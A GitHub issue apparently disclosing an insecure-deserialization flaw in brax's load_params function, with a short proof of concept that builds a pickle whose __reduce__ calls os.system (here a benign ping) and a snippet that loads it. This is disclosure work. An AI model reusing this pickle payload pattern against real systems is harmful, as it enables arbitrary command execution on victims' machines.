Insecure Deserialization attack on pickle.loads
- Dominant language
- Jupyter Notebook
- Stars
- 3.2k
- Forks
- 349
- PR merge metrics
- No merged PRs in 30d
Description
I noticed that there is a module named `load_params` that passes user input directly into pickle , which allows an attacker to execute system commands with insecure deserialization attack on the victim’s system.
# Vulnerable Function
https://github.com/google/brax/blob/69637a359463738140c1b850f61ad0088a23538b/brax/io/model.py#L22
## Exploit Code (Attacker Side):
```python
import pickle
import os
class MaliciousCode:
def __reduce__(self):
return (os.system, ("ping 'google.com'",))
with open('malicious.pkl', 'wb') as f:
pickle.dump(MaliciousCode(), f)
```
## Exploit Code (Victim Side):
```python
from brax.io import model
model.load_params("malicious.pkl")
```
Contributor guide
Assessment
This issue has not been assessed yet.